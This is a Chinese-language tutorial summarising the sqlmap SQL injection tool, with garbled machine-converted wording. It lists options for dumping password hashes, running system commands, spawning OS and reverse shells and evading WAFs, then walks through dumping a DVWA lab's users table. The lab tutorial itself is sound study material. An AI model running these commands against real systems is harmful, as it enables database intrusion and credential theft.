关于sql注入:sqlmap总结

31次阅读

共计 4123 个字符,预计需要花费 11 分钟才能阅读完成。

0x01 概述

Sqlmap 是一个自动化的 SQL 注入工具,其次要性能是扫描、发现并利用给定的 Url 的 Sql 注入破绽,目前反对 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等支流数据库。Sqlmap 应用 5 种 SQL 注入技术(不加参数默认测试所有注入技术):

  • 基于布尔的盲注,即能够依据返回页面判断条件虚实的注入。
  • 基于工夫的盲注,即不能依据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回工夫是否减少)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的后果间接返回在页面中。
  • 联结查问注入,能够应用 union 的状况下的注入。
  • 堆查问注入,能够同时执行多条语句的执行时的注入。

当应用 Sqlmap 检测一个指定 Url 时,它会执行以下操作:
判断是否有可注入的参数
判断能够用哪种 Sql 注入技术来注入
辨认出指标应用哪种数据库
依照用户抉择,读取指标数据

0x02 参数

  • –risk 危险等级

–risk 1 测试大部分的测试语句(默认为 1)
–risk 2 减少基于工夫的测试语句
–risk 3 减少 or 语句的 sql 注入测试

  • –level 探测等级,数值越高,等级越高,默认为 1

在不确定哪个 payload 或参数为注入点时,为了保障全面性,倡议应用高的 level 值
–level 2 会探测 cookie
–level 3 会探测 http user-agent、referer 头

  • -v x 参数指定回显信息的复杂度,x 属于[0~6]

共有 7 个等级,默认为 1:
-0 只显示 python 谬误以及重大的信息。
-1 同时显示根本信息和正告信息。(默认)
-2 同时显示 debug 信息。
-3 同时显示注入的 payload。
-4 同时显示 HTTP 申请。
-5 同时显示 HTTP 响应头。
-6 同时显示 HTTP 响应页面。
如果你想看到 sqlmap 发送的测试 payload 最好的等级就是 3,例如:
python sqlmap.py -v 3 -u “www.adc.com/def.jsp?id=xxx”

  • -u 指定 Sql 注入测试的 url
  • -r 读申请包 抓包保留在一个文件
  • -b 获取 DBMSbanner
  • -m 从文本中加载指标申请 文本中有多个 url,sqkmap 会一个一个的检测(用 url 采集器进行采集)
  • -g 从 google 的搜寻后果中测试
  • –data 把数据以 post 形式提交 格局 –data=“key=value”
  • –cookie 设置 cookie 的值 –level 须要设置为 2
  • -–current-db 获取以后数据库
  • -–current-user 获取以后用户
  • –string 匹配页面中的字符串
  • –-users 枚举 DBMS 用户
  • –-password 枚举 DBMS 用户明码 hash
  • –-dbs 枚举 DBMS 中的数据库
  • -D 要枚举的 DBMS 数据库
  • –-tables 枚举 DBMS 数据库中的数据表(和 - D 组合应用)
  • -T 要枚举的 DBMS 数据库表
  • –-columns 枚举 DBMS 数据库表中的所有列(和 -D- T 组合应用)
  • -C 要枚举的 DBMS 数据表中的列(和 -D-T- C 组合应用)
  • –-dump 获取 DBMS 数据表项
  • –-privileges 查看权限
  • –-privileges-Uroot 查看指定用户权限
  • –-os-cmd=whoami 执行系统命令
  • –-os-shell 零碎交互 shell
  • –-os-pwn 反弹 shell
  • –-reg-read 读取 win 零碎注册表
  • –-dbs-o“sqlmap.log”#保留进度
  • –is-dba 判断以后用户是不是数据库管理员
  • –dbms=mysql oracle 指定数据库、过 waf,节省时间
  • –flush-session 革除缓存
  • –delay 过平安狗 –delay=0.5 半秒钟拜访一次
  • –timeout 设定多长时间断定超时
  • –safe-url,–safe-freq 有的 web 会在你屡次拜访谬误的申请时屏蔽掉你当前所有的申请,safe-url 提供一个平安不谬误的连贯,每隔一段时间拜访
  • –union-cols 默认状况下 sqlmap 测试 union 查问注入会测试 1 -10 个组的呀不是公寓,当 –level 为 5 的时候他会减少测试到 50 个字段数 –union-cols 12-16
  • -t a.tzt sqlmap 会把 http 申请与相应日志保留在这里
  • –batch 不须要用户输出,将应用 sqlmap 提醒的默认值始终运行上来
  • –charset 强制指定字符编码 –charset=GBK
  • –mobile 实用于只能用手机关上的页面
  • –time-sec 相当于 sleep(5)

执行 sql 语句

  • –sql-query=“select @@version”
  • –sql-shell 只能执行 select

0x03 根本测试步骤

1、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” #留神参数必须应用双引号括起来

获取信息示例:
DBMS 应用的是 Mysql
Web 服务器操作系统是 Ubuntu 15.10
Web 容器是 Apache 2.4.12
Mysql 版本大于等于 5.0
当应用 Sqlmap 检测一个指定的 Url 后,它会将后果保留在本地,这样咱们下次在检车这个 Url 的时候就能够立即返回信息,节约大量工夫。

2、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” -b –current-user –current-db,可取得如下信息

应用 -b –current-db –current-user 命令来别离获取服务器 banner 信息、以后数据库和以后用户
Web 容器 banner 信息:5.6.31-0ubuntu0.15.10.1
网站应用的数据库以后用户:root@localhost
网站应用的数据库名:dvwa
Sqlmap 还有一个十分厉害的命令 –users 和 –password , 能够尝试间接枚举 DBMS 的所有注册用户和对应的明码(猜解 password 字段时,因为应用了 hash 加密,所以 Sqlmap 会询问是否破解此 hash 值,只须要按 Enter 应用缺省值就能够了)

3、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” –dbs

应用 –dbs 命令枚举 DBMS 中的所有数据库名

4、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” -D “dvwa” –tables

咱们能够抉择感兴趣的数据库进一步获取信息,这里咱们抉择 dvwa 持续进行试验。应用 -D 命令指定指标数据库,应用 –tables 枚举指标数据库中的数据表

5、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” -D “dvwa” -T “users” –columns

同样咱们能够抉择指标数据表,获取其中的字段信息, 这里咱们抉择 users 表:应用 -T 命令指定指标数据表,应用 –columns 命令枚举指标数据表中的字段信息

6、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” -D “dvwa” -T “users” -C “user” –dump

咱们再抉择指标字段,猜解出它的值~ 应用 -C 命令指定指标字段,–dump 命令猜解其中的值

7、python sqlmap.py -u “localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1” -D “dvwa” -T “users” -C
“first_name,last_name” –dump

咱们也能够一次猜解多个字段信息,应用, 隔开就行了

8、其余测试语句

  • sqlmap.py -u ” ” –current-user –proxy “http://127.0.0.1:8080”
  • sqlmap.py -r x/x/post.txt –dumps -table sqlmap 跑 post,将 post 申请保留在一个文件中
  • sqlmap.py -u url –data=”A=111&B=222″ post 的 –data 办法

0x04 总结

1、Sqlmap 的根底语法:python sqlmap.py XXXX
2、命令格局和 linux 的 bash 命令一样,都是单个字母后面用 –,单词后面用 –
3、利用 Sqlmap 初步检测能够获取到哪些信息?能够初步检测出零碎应用的数据库、web 服务器、web 容器、mysql 版本。服务器 banner,以后数据库和以后用户
4、利用 Sqlmap 爆库的思路和过程:先取得数据库名称、进而取得数据库表名称 -> 取得数据库内字段名称 -> 破解关键字段信息

正文完
 0